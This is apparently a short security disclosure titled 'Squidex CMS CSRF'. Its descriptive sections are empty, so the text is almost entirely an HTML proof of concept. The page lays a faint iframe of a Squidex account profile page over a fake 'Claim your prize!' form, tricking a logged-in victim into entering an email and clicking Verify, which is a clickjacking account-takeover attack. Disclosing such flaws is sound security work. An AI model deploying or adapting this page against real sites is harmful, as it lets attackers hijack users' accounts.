Squidex CMS CSRF
About the Application
About the Finding
PoC || GTFO
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Example layout</title>
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 500px; height: 1000px;
opacity: 0.10;
z-index: 2;
border: none;
}
.decoy {
position: relative;
width: 500px;
height: 900px;
border: 1px dashed #ccc;
}
.controls {
position: absolute;
left: 55px;
top: 395px;
}
#btn { position: absolute; padding: 10px 10px; font-size: 10px; left: -9px;
top: 178px;}
</style>
</head>
<body>
<div class="decoy">
<h1>Claim your prize!</h1>
<p>For verification purposes, enter organiser's email below and click Verify</p>
<div class="controls">
<input type="text" placeholder="Organiser's email">
<button id="btn">Verify</button>
</div>
</div>
<iframe src="https://squidex.local/identity-server/account/profile"></iframe>
</body>
</html>Conclusion

Last updated